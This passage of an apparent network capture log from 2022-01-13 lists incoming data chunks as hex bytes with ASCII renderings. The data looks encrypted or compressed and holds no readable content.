2022-01-13 21:05:25 UTC 1246 IN Data Raw: 30 8e 10 d8 47 2b 8c 1f 27 05 02 97 14 89 c6 61 de 4e db f9 f3 17 cf 12 52 13 99 87 cf 82 47 52 c0 ff 63 59 7f 
8c 56 7b 61 92 44 af f4 8b cc 2f e1 2f 61 1a fe 1c 7e 0c ff 19 fe 10 fe 1a fe 14 fe 26 c9 9c 79 2f a2 2b 98 b4 2b 1d ea e0 78 
f5 b5 72 12 56 c9 74 86 5c b4 5f c3 a6 a2 a4 9d eb 02 af d6 eb e0 80 fc b3 b0 04 b1 3f 93 7d ee 12 6c 41 fa 2e c1 05 1d df 
5a b2 90 f3 74 32 59 96 b2 03 2b ec 73 69 02 15 da e9 2e e7 d3 b3 65 ad c1 ef 0d 75 d0 89 fc 11 29 c8 de d0 9d a0 04 e1 
c6 7b 6d c3 05 b2 46 31 ab 5c 09 38 e8 c8 2d 16 a3 d5 86 da bf df 3d 16 f5 30 a9 d9 e9 10 3b 90 aa 27 6b e6 11 b2 29 d2 
6d 81 7b 12 f8 43 59 71 e6 41 e8 2b be 81 ac 4d 31 06 32 0b b1 33 74 56 35 13 10 03 48 50 f0 db 30 15 40 1c 89 01 c4 11 
84 85 6e 2c 5c f8 b0 1f 32 54 b1 7f a2 1a 81 
Data Ascii: 0G+'aNRGRcYV{aD//a~&y/++xrVt\_?}lA.Zt2Y+si.eu){mF1\8-=0;'k)m{CYqA+M123tV5HP0@n,\2T

2022-01-13 21:05:25 UTC 1248 IN Data Raw: b3 74 f5 f5 06 bf 6e 40 05 52 f3 01 f9 7b e1 df e8 46 45 70 f8 5f 02 c3 2e 6e 9d 4e 24 8d fa 20 2b a3 6e 18 b7 
ce 5d 04 39 72 ca be e8 a5 7d 52 23 67 e2 7d 4a aa 0e 63 ec ed 7b e7 db 1d 36 99 7b d1 9d 76 a4 84 65 7c b7 17 8d 96 
45 ac 91 69 37 d5 81 ea 12 af 28 d5 97 6d 82 b4 61 90 5f 64 ec 60 2e a6 c4 30 3f 7b 47 d7 f3 96 db 31 ae d5 c4 40 e8 dc 
47 8e 07 07 85 3d 43 7e 40 f9 c3 98 76 63 d2 5d 24 a1 b2 0e 18 df fc c3 7a 9b 75 55 01 91 fe c9 41 3d 19 2a 8f 8d ec c0 bf 
08 d6 8d 76 68 e3 8b ea ca 7b cd 7d d7 1d f5 91 c7 23 e7 ef ab 60 58 f5 b7 c2 cc 78 09 c7 93 ac ff 24 94 2a b6 4a dd 3a 
62 bc f3 c0 b8 74 74 55 75 a7 c9 2b ec 96 d8 4f 98 bc f2 ec b6 bd 25 cd 3b f5 04 15 bb 44 9e e5 d7 70 ae 09 37 82 e0 b9 
f9 8c 28 98 71 b3 52 f3 e9 d3 9f bb e3 04 a3 22 8d 12 
Data Ascii: tn@R{FEp_.nN$ +n]9r}R#g}Jc{6{ve|Ei7(ma_d`.0?{G1@G=C~@vc]$zuUA=*vh{}#`Xx$*J:bttUu+O%;Dp7(qR"

2022-01-13 21:05:25 UTC 1249 IN Data Raw: de 26 8d 99 62 e9 95 23 5a e5 83 d2 4f 43 9d cc df 06 56 3f 2c d8 cc 0d 97 2d 50 cf 2c 13 33 cb 9c 0c 46 d4 1d 
f4 d2 02 c6 11 56 81 cd c2 b8 65 a6 28 e4 bb b0 51 d6 79 6c df 75 33 3b 56 96 6e 62 87 80 29 b9 31 02 78 78 b8 ba 90 36 
8b df 3a c4 d0 dd 1c ca 4e 2b 77 d4 56 3e a6 df 5c fa e6 7c 3a bd fd 85 df 51 43 2d c0 78 8d 9a 8c 81 a6 4a bf b9 aa 23 ce 
5a 3d a8 02 38 b8 d5 a1 a3 3c 2e 51 0c 1f 57 8f 0a 6d fa 60 23 a8 b8 c7 da 7a b2 c8 b1 b6 ac ce 9a 04 2d b5 ac 82 f9 fb 
31 62 e4 54 2e 5b ca 26 f0 27 83 54 85 01 ed 23 ba 92 a3 4b db 37 1c 72 ad de f0 62 4a 68 f7 c4 68 b7 5a 24 b6 7d ae 65 
bd ab 1b dc 5a 3d 7b 8f 11 ee 29 1f ab aa 4a 67 5f 41 fb 2c c3 63 bb 38 a3 ba 5c 1d a4 42 26 95 76 c4 71 b5 c7 c6 5a 2b 
10 f8 d7 88 34 77 20 d4 18 77 e2 6a bf c1 c3 b7 40 
Data Ascii: &b#ZOCV?,-P,3FVe(Qylu3;Vnb)1xx6:N+wV>\|:QC-xJ#Z=8<.QWm`#z-1bT.[&'T#K7rbJhhZ$}eZ={)Jg_A,c
8\B&vqZ+4w wj@

2022-01-13 21:05:25 UTC 1250 IN Data Raw: 01 23 3c f5 2f 68 68 8b a2 56 d6 19 d3 2c b7 d2 b2 c5 31 e0 c3 56 75 99 b4 18 30 79 6b 06 5b 4f 32 6e 55 79 
ab c6 41 99 1d 6f 0a 12 24 c3 10 16 ed 2d 5b 66 bb fc 80 e2 5b cb a6 f8 41 d7 e3 1c 70 ca a2 f1 e8 b8 7e 89 db 51 d5 a1 
d8 14 a7 52 9d 06 34 c1 8f 93 c1 20 87 6d 0d cd 12 14 c2 8c 30 ba c5 75 8a be e2 79 95 e3 81 52 1a d6 1b 16 2c a6 ac 95 
84 3a 7a b1 be e3 30 bb 33 f6 84 76 cc c9 04 06 6d 3e ba c4 03 2f fb c5 6c 01 6b f3 7e 49 80 97 4c b9 89 d3 1e ea 4d 4a 
4b 25 f8 45 75 bd ba 25 49 9a 79 2f b8 e4 d5 90 0d 37 02 33 03 17 c4 4e 1d 4e 90 94 03 0a dc 4c a1 e7 25 7c 42 de 78 ea 
6b 1b 99 cd c8 e4 70 53 78 27 e6 69 68 d4 36 cf ea f5 09 d6 58 2f a3 a1 fe 93 c8 21 2e 36 8a 90 56 03 e4 e6 6e e1 de ae 
d4 44 5a 09 46 c0 98 87 9a 13 3f 18 d6 5a ac 5d e1 f6 1b 
Data Ascii: #</hhV,1Vu0yk[O2nUyAo$-[f[Ap~QR4 m0uyR,:z03vm>/lk~ILMJK%Eu%Iy/73NNL%|BxkpSx'ih6X/!.6VnDZF?Z]

2022-01-13 21:05:25 UTC 1251 IN Data Raw: 50 05 10 22 3f aa 6a 6b 0b 2f 5e 73 1e 0f 45 55 ff f4 69 b6 a6 0d b2 58 86 3d 31 cd 4b e6 d5 d8 d8 d8 3e 94 3e 
98 69 50 db c8 e5 89 c2 af ed f2 f2 48 91 06 8b 4c b4 48 1b 35 82 bf 5e d1 2e 0c 84 3e 3f 13 e4 cd 1b 87 61 8d 2b c4 74 
35 0e bb da 62 f8 8a 0d 37 cc ed 8d c8 3c e3 fa 5c 93 21 99 73 a8 07 00 d5 76 bd c0 69 dd c4 f6 26 e5 ff 8c 77 e6 03 bf 5a 
ab 53 3b f4 e5 75 54 a3 78 de 38 6d 1f 95 36 52 e6 45 53 ed 5a 47 42 f5 91 3a 09 af b1 f0 5a a3 14 1e 24 45 54 6f c2 a0 
58 b3 1b 00 04 45 7a 18 7d 7b 2f 4e 48 2d 15 db 52 4a 61 f0 26 fe 32 c6 c0 2b 63 66 b2 16 33 47 9a 01 d3 7f 38 8a ac 67 
37 13 91 65 08 d7 90 4d a2 a2 b3 ea 68 f1 d7 b6 ad 94 6d a3 78 27 c6 ce a5 89 55 cc 5f e0 4d 02 d5 27 ac 55 e3 7c fa b6 
88 2f 90 a4 de 16 f9 94 0b a8 be b8 7e d3 c9 0d 43 
Data Ascii: P"?jk/^sEUiX=1K>>iPHLH5^.>?a+t5b7<\!svi&wZS;uTx8m6RESZGB:Z$EToXEz}{/NH-RJa&2+cf3G8g7eMhm
x'U_M'U|/~C

2022-01-13 21:05:25 UTC 1253 IN Data Raw: 73 3a 82 21 33 a1 4f 7a d1 33 0d cd c6 64 66 c7 49 f2 73 1d f2 8b 60 95 76 6b 63 8a eb 8b 7c 35 2c c5 30 6c 
d8 f7 b5 a9 32 83 2b 99 9d 92 a7 22 8c ab 8d ac c9 68 d5 16 2e e0 69 1d 7f bd b7 d9 6c 35 c9 6d 27 47 fe b6 40 37 1b ca 
42 a9 2a e3 8b f4 c5 ab c1 67 15 85 6e 6d 8b d4 84 a6 c1 9b 20 aa 16 92 1c 01 6b c3 ae 6b 81 36 c1 a1 8c 65 15 a2 47 75 
7b 83 81 47 26 b6 6a 30 63 f0 fd fa 26 43 be 9d 15 03 81 b5 dc 58 6c 40 da 06 66 42 27 b9 5a a0 b2 5d d9 8c d0 66 93 b7 
04 50 6d d3 50 de df f5 e8 69 3c 61 18 13 6b 5b 04 7c bb f6 c0 d4 16 1f ae db 8a 33 52 75 21 d4 9f 1d e9 fb d9 f9 91 b7 05 
c6 19 b2 21 89 1b cc 92 2c e9 d5 c3 b1 96 79 2b 25 b7 99 6c 96 82 aa 3d 5b aa fa bd 2e 4d 8d 67 4c 63 4b cc 1b 34 18 a7 
86 32 95 02 ad e7 75 34 7a 9f b3 a7 51 13 9c fe b5 1b 
Data Ascii: s:!3Oz3dfIs`vkc|5,0l2+"h.il5m'G@7B*gnm kk6eGu{G&j0c&CXl@fB'Z]fPmPi<ak[|3Ru!!,y+%l=[.MgLcK42u4zQ

2022-01-13 21:05:25 UTC 1254 IN Data Raw: 3f 3c 0d b4 2e 12 13 3f 72 ba b6 ce 3e ef 60 44 a3 e9 c0 18 12 e9 55 05 df cf be d4 2e 66 28 cb 42 15 23 94 e1 
1c ca 1c ba a3 fd 68 7a c3 b7 90 f1 6f 14 90 e6 ad 93 16 3a 0c f6 a9 c6 b2 3e 17 29 08 6e 9c 22 7a 3b 05 4e 0f e2 fd 68 b0 
3f 9f de fc 54 0e 94 28 0d e0 71 b3 06 8b 71 c3 06 5f 16 4d 1a 34 eb 40 33 ea 1b bc da ac 97 5f a2 46 6f d7 61 48 22 ec 78
a4 65 f1 d0 0b ff b8 76 06 e1 51 45 23 bc 57 5d 05 56 01 a0 aa 44 ab a2 79 59 01 d5 d8 b8 2f bb a0 f8 a3 2c 1c e8 95 64 
fb bf 5f 07 53 d3 a8 e1 d1 5a 48 0a b3 ce 4d 69 ad 1d 43 ac 47 67 65 28 b1 6e f7 f3 69 e3 c6 3d af 11 58 3c ca 65 88 6b 60 
f9 69 5c 52 5a 7a d8 b0 bf 6b 74 b2 78 c5 a9 09 b3 19 14 7c 22 be d4 15 88 d5 31 b3 3b 53 0f 68 b2 2a a9 1d a0 e0 64 6e 
8b 98 c1 a9 26 61 53 39 da 1f 87 8b 05 1d 84 
Data Ascii: ?<.?r>`DU.f(B#hzo:>)n"z;Nh?T(qq_M4@3_FoaH"xevQE#W]VDyY/,d_SZHMiCGge(ni=X<ek`i\RZzktx|"1;
Sh*dn&aS9

Timestamp
kBytes
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2022-01-13 21:05:25 UTC 1255 IN Data Raw: 0a 5c 4d d8 a1 a1 e7 0c d1 6f 15 b1 04 61 4c 4b ce a7 65 94 4c fb fd 3a 47 4b d5 83 d5 ec 0c c3 2a 98 4c 07 29 
27 0c 99 48 dd 16 ec 26 47 46 d6 e2 45 7a ea 09 5e 55 1f f6 59 05 b4 ea 54 37 be 20 d7 14 4a ab 0c 0c 8e a3 d1 87 69 42 
4b 6d 20 06 52 9a 9d 10 b8 01 07 0d 92 b6 29 37 b7 04 32 cb 94 2d 53 59 0e 73 1d 01 d8 0e c0 da 9c 5c 5b 46 b7 4b a3 
09 64 79 f9 ef 3d 49 6e aa c7 b6 2d c0 9b 41 2e e3 d5 f6 68 ae 05 7a 1b 52 bd 11 dc a6 5c de 8a 8c 6f 8d e2 12 c8 35 0e 
ad dd 58 6e 0c 66 75 3b 52 53 0a 78 fd 21 d8 0e d8 5a e4 96 9d b7 bc 0e df 13 e7 7d 03 df c2 08 a3 11 37 37 83 90 25 a2 
c1 d1 a6 eb b2 6c 9b 66 7a 8b f0 34 46 6c 93 be 2d fa 10 95 dd 6d 3e ee db 25 6e 9b ae 43 11 3c f3 0e 83 7b 13 cf 2d 58 
df ed 83 2d e4 cf 96 a8 dd be a3 50 97 07 9b 4b f0 56 48 
Data Ascii: \MoaLKeL:GK*L)'H&GFEz^UYT7 JiBKm R)72-SYs\[FKdy=In-A.hzR\o5Xnfu;RSx!Z}77%lfz4Fl-m>%nC<{-X-
PKVH

2022-01-13 21:05:25 UTC 1256 IN Data Raw: 25 ce 85 52 00 a4 a5 11 b9 06 4c 6b c9 6a 81 32 2a fa 7a 55 89 df d7 22 b9 69 21 a6 29 dc 58 1b 41 f1 38 6e 
15 4d 9d 63 26 60 f6 fe 7d 13 44 ca 98 d5 1b a9 a2 da cd b5 b1 9b 6b 73 cb cb c5 b6 82 ac 78 14 ef 0d 65 ad d3 5a b6 31 
a4 ca 2e cd 46 a3 5b 58 a4 ba 36 25 ca 67 5b ca 76 54 6c 0d 4d f1 a8 de 03 b2 ea 43 6c b6 31 98 72 33 4d a3 91 34 97 df 
16 d3 60 d2 d8 0d 3c cf ba 70 8b 38 66 30 00 31 f5 16 46 eb 27 9e ed df cc e9 6c 66 f2 cb 1b 1e e8 5c 88 88 cd 24 3a c0 
05 9a 69 e9 39 d4 a9 4c 95 11 bd f9 c9 ca a5 94 c2 c3 d2 32 85 aa c6 fa fe 99 fa 6f d7 fa 48 41 15 38 ee e9 25 67 b2 d5 7e 
5b 22 af db 4a cc a1 86 af 6f 38 f6 79 80 85 47 53 f2 f9 7a 58 13 a2 b2 f2 6d 5a 32 34 1c 09 59 00 30 75 b4 7f aa 9c 5d cd 
44 b3 18 72 72 ed d3 c9 35 5d fc 94 4e b6 d1 74 92 
Data Ascii: %RLkj2*zU"i!)XA8nMc&`}DksxeZ1.F[X6%g[vTlMCl1r3M4`<p8f01F'lf\$:i9L2oHA8%g~["Jo8yGSzXmZ24Y
0u]Drr5]Nt

2022-01-13 21:05:25 UTC 1258 IN Data Raw: 3d 81 c5 cf 61 f1 57 29 8e 0f 89 ac 5e d9 5e ca 63 90 3a da a1 41 70 12 d1 c5 c2 c6 e7 2b 85 b0 8f 25 8d e6 e1 
78 7a 1d 9a db 7d c2 fe 08 22 d2 56 08 c7 4f 90 c1 58 4a 9a 92 7b 8e f2 db 9d 80 22 71 7a be 8a 08 da 48 92 d4 db 8e 7e 
c9 5b 2a 7d 9f 32 fe c2 2c 59 2e 41 c2 19 9f 3b 0f 1e cc e6 21 16 89 06 52 f8 69 27 98 8e df 40 40 c0 a2 83 e5 72 e7 75 4f 
bf e5 26 5d c1 fe 3f 78 a0 3e 7b 8a 93 db 6d c3 38 d9 4e cf 73 5f c3 44 52 50 c0 83 55 7e da 0f c5 b4 7f ca ff f6 9e f1 bf e9 
0b e2 c1 1d 9f 75 6c 62 fa c8 6d 3e fb e4 64 e4 bd 4d 1a 3d 4b 1a c5 53 a5 49 3c c5 06 30 8f 33 af ff 5b 9f b0 5e 87 1f 16 
b2 60 ac f2 41 a8 d4 6b 7c 67 e0 da 41 32 48 a0 d9 2c 87 69 14 db d7 6f 92 31 be a7 8c 8a f6 6a f6 3e 68 89 4f 40 77 87 
c6 f1 dc b6 7c bc 0f 20 06 a0 00 40 00 38 
Data Ascii: =aW)^^c:Ap+%xz}"VOXJ{"qzH~[*}2,Y.A;!Ri'@@ruO&]?x>{m8Ns_DRPU~ulbm>dM=KSI<03[^`Ak|gA2H,io1
j>hO@w| @8

2022-01-13 21:05:25 UTC 1259 IN Data Raw: dc 15 fc 86 e8 f2 8c fa c3 de 07 f8 3d 5a 1c cf e7 f4 b6 77 ca 7e 7f 60 5a ba 37 a7 ec 8a ab ad de 5b 76 f1 69 
02 b1 2e 68 c8 a0 77 cb 9f 9e 8a cb 27 fc f2 a9 20 a7 47 f9 f5 19 47 b8 72 3a a3 49 7f 6a df 89 1c cc bf 45 b6 c8 2a 4c e8 
58 d0 24 80 a0 8a 2d a3 29 9d fe 70 43 67 d0 71 eb 01 95 4c b0 1e cc a7 d3 f8 03 f4 17 2e 74 83 29 74 f1 3c e4 7c ee 5a 
c7 16 97 00 3f ba 0a c2 ae 25 d8 61 91 1d 71 12 63 d4 6d 1f 90 d9 7c 34 9d 8f 40 4c 7f 38 38 20 60 0e 2e 55 5d 1a 60 54 
42 2e 85 31 21 cf c0 ed 7e 70 43 63 7f 78 32 8d f0 fc 48 7c 6b d0 d1 c8 5d 2e 07 e7 16 70 db 52 46 eb 2b 84 c2 3c 13 42 
af 51 47 f6 9e 81 91 7c d6 79 10 20 a9 d3 5b db 21 cf 84 95 06 6d f4 15 2c 22 e8 a2 af ce 33 88 cf 1e 4c c2 1b 78 7c 69 3f 
d3 02 72 df f5 20 e4 84 ce 84 73 a0 12 9b 92 00 
Data Ascii: =Zw~`Z7[vi.hw' GGr:IjE*LX$-)pCgqL.t)t<|Z?%aqcm|4@L88 `.U]`TB.1!~pCcx2H|k].pRF+<BQG|y [!m,"3Lx|i?r s

2022-01-13 21:05:25 UTC 1260 IN Data Raw: c1 7f 79 d3 07 a5 41 3e bb 6f a0 d1 b1 fb 79 b9 0c 59 76 10 24 b8 d7 77 db c7 bb bb cf c5 65 b2 18 13 81 72 6b 
f7 b9 e5 e9 1d 2f 97 11 38 3f 98 9d 16 b7 96 4b fb d8 6d f7 91 ba 31 c8 3c a3 f9 58 92 f6 79 77 17 66 ef 0d d0 6d c1 cb f3 
d8 72 08 52 ab dc e6 53 0b 3b f0 72 77 f7 19 92 f1 19 bc 8c c4 5c 75 5f 12 11 40 75 61 d6 a2 21 ef 0e 49 92 86 4f 47 58 4b
c7 6b 43 41 18 86 ee 84 88 45 a6 ee 8c cc 99 a9 e8 de b0 75 ba 88 fb 8f 81 6d a1 3f 60 91 cf c0 62 76 e7 51 da 47 9d d3 
ff 86 49 d1 27 9f 13 dd d7 ef 70 80 2b 0e 86 9b 62 01 28 03 47 be 0a 41 14 3a cb 3b 2c 0d 03 ef f4 55 0b dd ef 30 92 e1 39 
7b 2c b0 48 ac 44 c2 e8 c9 c6 80 13 45 d5 8c 11 9b 7d 26 77 ab 0c 30 9c d8 2f 8f 86 6c ad 07 64 89 0c dd cf dc 4f 82 86 
ec 2f 99 b9 39 8c 3c 6b 94 42 04 de 41 33 85 
Data Ascii: yA>oyYv$werk/8?Km1<XywfmrRS;rw\u_@ua!IOGXKkCAEum?`bvQGI'p+b(GA:;,U09{,HDE}&w0/ldO/9<kBA3

2022-01-13 21:05:25 UTC 1262 IN Data Raw: b2 1e cc 47 58 f7 8b f9 67 3d 7b 94 a6 74 b4 04 d2 68 f2 27 73 15 cc b9 a1 24 87 a4 27 e2 15 de 89 c5 17 f2 55 
c9 40 f8 c6 94 33 8b f7 7d 08 f7 c3 20 ad a7 54 6e a2 5d 93 49 36 18 44 9c f2 60 95 03 35 16 de 19 30 96 06 04 38 2e 93 
f7 93 5e bf c7 e0 4f dc 01 63 3d c6 23 93 14 2c d8 ab 89 eb d9 13 34 ce cc 6a f6 c1 67 57 0c 8e 3d 59 2e 7d a7 e3 0b 13 
c8 a7 35 55 6a 82 b9 68 dc c9 17 30 79 8b bd e6 a1 38 23 23 70 0f 7a 41 5a 0c 1a c8 62 d0 b1 4b cf 83 8b 1e 27 7a 9c 74 
0a 6f ba 77 e2 aa 9b de ef 4f e0 a2 3f 21 2a 26 f0 6f cc 08 80 ab 00 c6 c9 65 d1 12 69 c0 ac 33 4b 85 69 24 26 dd 54 40 f9 
a2 cf c9 43 06 98 82 8d 13 2f b1 b0 d6 3d 80 3e 83 54 a5 d0 7c 43 87 7d ec f0 c1 4f a2 a8 25 22 d8 cc e3 f0 07 0e 03 e0 
00 3f d8 35 f6 95 e5 62 25 49 62 f5 53 73 94 a3 bd 
Data Ascii: GXg={th's$'U@3} Tn]I6D`508.^Oc=#,4jgW=Y.}5Ujh0y8##pzAZbK'ztowO?!*&oei3Ki$&T@C/=>T|C}O%"?
5b%IbSs

2022-01-13 21:05:25 UTC 1263 IN Data Raw: a0 0f 06 28 17 64 a0 6c 73 80 69 48 26 2e db 0b 10 00 44 32 49 3d 0f 59 6e ea 26 85 ee 86 87 e4 00 db e4 8b 
59 d5 46 f9 a7 d8 6a a0 69 0d 46 08 ba 04 40 37 81 f8 54 7a 03 13 cc 64 28 db 25 51 64 8e 93 b8 f4 3a 53 55 a6 ea 0a af 
c3 6a dc 31 d7 9e fc 92 1e 04 75 bf da 38 c9 31 72 3b 56 23 b7 63 08 d9 10 f0 71 a2 15 d4 ac 7c 04 ee 72 40 22 2c 4d f3 
24 8b 31 a6 0e 38 03 7d f2 1b e6 7d 46 93 fe 68 32 e2 6b 3b 81 e2 c8 69 55 c0 6c 37 56 c1 33 17 37 1d ec 78 82 19 01 db 
73 d4 8b 5c c5 29 64 45 bf 10 8c f8 9d 4c c1 30 f4 15 78 ce 7e ba d1 ee 6e 90 6e 52 40 40 dd 68 b9 0c c4 2b b9 71 f2 f3 
83 fb 9d 5f 44 22 f1 0d a3 9a a8 04 7f c5 57 94 3f 61 9c fb 06 a2 de 63 54 a7 b9 e8 5c db dd 85 5e 50 ac ba 2d d7 ec 06 5a
6e 65 55 44 ec 42 b6 df 2c 97 1e 84 d5 c7 20 f2 6f 30 
Data Ascii: (dlsiH&.D2I=Yn&YFjiF@7Tzd(%Qd:SUj1u81r;V#cq|r@",M$18}}Fh2k;iUl7V37xs\)dEL0x~nnR@@h+q_D"W?
acT\^P-ZneUDB, o0

2022-01-13 21:05:25 UTC 1264 IN Data Raw: 65 1a 96 57 3e 53 38 b6 c8 62 3c 45 65 c8 8b ca 3e d8 e2 27 56 3d b3 1f e9 9c ea 8a 3b e4 2d ee 54 f7 f1 9f 53 
2c 75 56 32 ff 6f 21 aa 3a 4d b7 ae 77 e1 b9 fd d6 3d c5 b9 a8 6c 61 f7 f7 e0 b5 30 bf 7f bd 17 66 b6 af a7 cb 1b d8 66 87 
4d 6c d1 b8 60 3f 3b 22 42 3b 25 3c dc 33 3a 8f 6e d5 65 12 61 c3 59 52 14 ac ca 5b e2 2b 45 06 c0 a3 d1 18 dc 90 17 ee 
57 61 9d c9 bf 01 19 fc b1 c4 c9 90 30 df bf ba 4f 99 5e d1 cb ef f0 9e a3 2c 09 b7 21 02 05 2a 2f 85 0b c7 54 8f ba 37 64 
b9 fc 0a 41 07 d5 06 9f 85 ad c8 4e 16 91 3a 77 4f 5d cd 64 ca fb 7c 2f a7 b6 55 92 6d 76 7c 9a dd fd f8 94 18 76 53 1e 18 
76 6e 1e 70 39 e7 eb 73 89 3b f2 9b 7b 0b 3f a0 f3 63 4a 7e 07 8f b3 3c 8e 50 7c 22 0c 22 42 45 de 58 e7 61 08 9f ba e7 
ef 49 ee c1 05 19 a1 56 7a ea 48 c3 f8 d4 61 
Data Ascii: eW>S8b<Ee>'V=;-TS,uV2o!:Mw=la0ffMl`?;"B;%<3:neaYR[+EWa0O^,!*/T7dAN:wO]d|/Umv|vSvnp9s;{?cJ~
<P|""BEXaIVzHa

2022-01-13 21:05:25 UTC 1265 IN Data Raw: f5 e4 5e ae 40 79 8c 6e 6f 90 cf 2b e0 6d c3 a9 08 00 8a 2f 3e 65 ce a2 64 67 ed 15 9c 8a c9 71 ff 2a 7f 99 cf 
be c4 da 34 8a 6b ad 55 f3 0e 65 7d ac e7 7f c6 a6 fc cf 6b 36 00 b7 ee d7 64 2b 14 9a a9 01 1f 97 33 50 65 be 92 b4 da 
dd 3d e4 e7 d5 a6 b7 92 0d 4b cb e5 6d b2 e1 c2 f6 9d 23 bf 7b 6b 2c 3b 4e cd 6d 5a 21 f6 4e 94 8b 10 76 54 31 4d 2a 11 
93 9a 0f a7 fb 33 ab e0 2c 72 6b 5e 2e f8 b1 2f a5 f5 14 9a a3 52 51 d0 2e fd 0f ed d0 02 fd dc 1c b6 ad e8 03 ef aa 6f 2a 
17 c4 4a 19 82 47 68 8a d3 62 92 58 ee 52 2d 84 be bc 20 57 2e 1e 39 3b 0f 07 a3 05 38 20 61 90 46 3d e7 63 50 00 78 
3e 07 fc e0 47 a7 b2 3a 1d b6 c2 7e 05 36 05 ef b3 8d 3d 49 1d 1f 07 fb c9 0e 0c cc 27 78 08 d2 75 f6 a0 85 6c e5 da 18 
5e bc 56 dc 9a af a2 61 1f eb 61 85 af 11 48 5f 43 56 
Data Ascii: ^@yno+m/>edgq*4kUe}k6d+3Pe=Km#{k,;NmZ!NvT1M*3,rk^./RQ.o*JGhbXR- W.9;8 aF=cPx>G:~6=I'xul^
VaaH_CV

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1267 IN Data Raw: 54 c3 53 05 44 da c4 c2 06 fb 43 71 a2 1d 84 77 68 82 b2 87 b4 02 df c3 86 d0 79 93 3c f4 c3 3c 74 c6 f9 86 e0 
45 1b 0e df e7 82 80 ee aa 09 fe 89 7c dc 08 43 d2 6a a7 16 12 29 7d 0d b1 a4 cd 38 96 79 72 5d 84 46 7c bb a9 29 1a d9 
4c a2 91 d7 66 34 af 41 f5 44 05 38 14 d3 7a 09 ee 5c 88 67 f0 25 78 b9 18 b3 65 89 76 c8 e7 f1 25 ba d0 7d 2c 16 02 85 
a1 7d 6a a1 af 1d e0 e9 09 5f 7a 0e f3 cb 62 27 c8 f3 6b 5c a7 b4 1c fe bd 00 80 e1 e1 59 c2 ea 7a 04 ff e0 02 98 5e 78 8f 
9f 4d 09 00 84 c9 b2 d8 a8 79 d3 2f e8 0c db de 72 89 67 4f 5a f8 15 36 fc c2 a6 fa 90 1e a5 ef 76 ad 39 0d 46 53 bc bd 93 
6b 94 3c 82 16 fc 37 be 3e 19 70 7f 1b 5e 94 87 fb 79 74 2e 4f 19 5e 44 cc fd 91 8d f0 65 fc 16 88 e9 48 68 31 32 dd 74 10 
92 23 a0 1f 1d 1c 10 b4 dc a3 48 d9 05 1b a0 
Data Ascii: TSDCqwhy<<tE|Cj)}8yr]F|)Lf4AD8z\g%xev%},}j_zb'k\Yz^xMy/rgOZ6v9FSk<7>p^yt.O^DeHh12t#H

2022-01-13 21:05:25 UTC 1268 IN Data Raw: 00 ed 93 39 78 fa 73 aa f8 a8 5e a0 bc 0e c4 56 da 2b fc 5e a3 b7 8f a1 c6 fb fd bd e8 0d 97 23 d4 36 cc 69 7b 
4e a3 07 d8 10 d8 7a d0 0e 21 82 3b 47 cf d9 eb 21 05 54 cd ab b5 3f 5d 7a d6 2b 6d 6a 7d 7e b1 bd f0 ca 58 82 bd ad 4f 
15 65 3b 0b be b2 9a 1c d2 33 4b f3 64 d5 86 7b ec 96 eb b3 c4 c2 4b a5 2c fc e6 1a 2d 46 b7 3d 3a 66 f9 a3 7b 38 a4 a1 
27 a6 b6 6d 8a 69 8e 46 62 8f b9 e8 52 1b 7a 1d 20 b2 3c 54 7a 82 4f 8f db d2 58 ef 06 83 bb cb a3 e0 66 e2 3c b7 d8 7c 
17 28 58 75 4e 77 85 ed 1b 7c 98 c7 85 1d 6b 8c d5 02 c6 72 28 b0 65 bb 1f 53 25 f7 7b 81 6f 3f 18 3d 53 73 7c 23 da 87 
57 d6 fd 0f fb 54 31 97 25 08 7f a8 f5 67 43 82 4a d2 8f 08 59 1b 2e 7b 7b 2e 94 60 65 d4 8c de f3 e4 28 86 79 ac 54 4d 7a 
a4 8f 5c a1 b1 c4 1b 82 c9 e1 2a 38 40 f6 6b 2e cf 
Data Ascii: 9xs^V+^#6i{Nz!;G!T?]z+mj}~XOe;3Kd{K,-F=:f{8'miFbRz <TzOXf<|(XuNw|kr(eS%{o?=Ss|#WT1%gCJY.
{{.`e(yTMz\*8@k.

2022-01-13 21:05:25 UTC 1269 IN Data Raw: 29 1f b6 ff f8 f5 82 84 b3 ea 9a 2c 1d 7f 51 d6 df be 7d 7b a0 1b 1e 31 0f 8c 2f 32 73 1b cf 10 6f 42 4a 10 ca 99 
55 b2 5a cd 01 fa aa e5 2d 1d 83 ac a7 9b 05 48 a6 40 07 a6 49 14 a5 25 61 e0 f6 09 a7 3e 46 75 3a 12 c0 cb 37 51 39 0e 
a6 18 47 86 a2 98 76 82 39 c8 3f 2e 11 44 11 e3 a5 ae 10 65 58 de 7d 52 79 bd 9e ce b5 59 06 33 6f 12 f2 ae b9 40 0b 11 
17 f0 34 cb 70 41 08 e5 0a d0 38 9b 84 90 ad 71 97 41 c8 09 7f 97 1a 47 3c 96 4a cf 0f f7 cd 9c 8f d5 d0 1f 82 78 5f 4e cb 
7a 15 5e dd ef 3d 60 90 25 09 bd 5b 77 cf f6 1d e0 d9 a3 3b f3 0b a9 dd 99 5f 23 39 76 c7 01 42 b2 4a 0c d2 77 b3 05 b2 
b1 ba f4 ef 1e 1f 33 fd a8 a0 84 c0 ef 5b e3 d9 7d 9a db 4d 52 0d 56 73 2f 2c 6b 55 90 12 94 5f cd 55 9d 5c 1f dc 00 d7 da 
40 8f f1 0c 10 51 a1 5d 75 bf bb f6 90 72 e1 
Data Ascii: ),Q}{1/2soBJUZ-H@I%a>Fu:7Q9Gv9?.DeX}RyY3o@4pA8qAG<Jx_Nz^=`%[w;_#9vBJw3[}MRVs/,kU_U\@Q]ur

2022-01-13 21:05:25 UTC 1270 IN Data Raw: 17 a8 b7 07 d4 d9 1c 51 91 ed 03 65 da 21 42 de ea 0c a5 0f 8e 17 48 df 32 fd 54 8c 21 e5 00 ec d9 26 48 4d 
67 c9 9e 0d a1 67 8d 11 30 e4 25 30 2e 8a 59 12 02 2b 6e f8 9c 7b d2 f9 88 ed 4c bc ef d8 ee 05 60 00 e5 c0 02 0a ba 0a 
7c b2 39 aa c9 26 9c ec 20 0e 2d a6 7e 37 12 13 35 98 55 94 99 20 cf 0a 14 4d 17 60 b6 bf 8e d6 c4 76 f5 9c f4 32 4a 79 
a3 a1 c7 6e 0a cb e4 46 5a 35 c0 5c 75 30 2c 69 26 f6 6a 5a fa 96 88 94 05 60 06 75 05 6e 99 10 5d df d6 e7 a4 dc 30 b8 
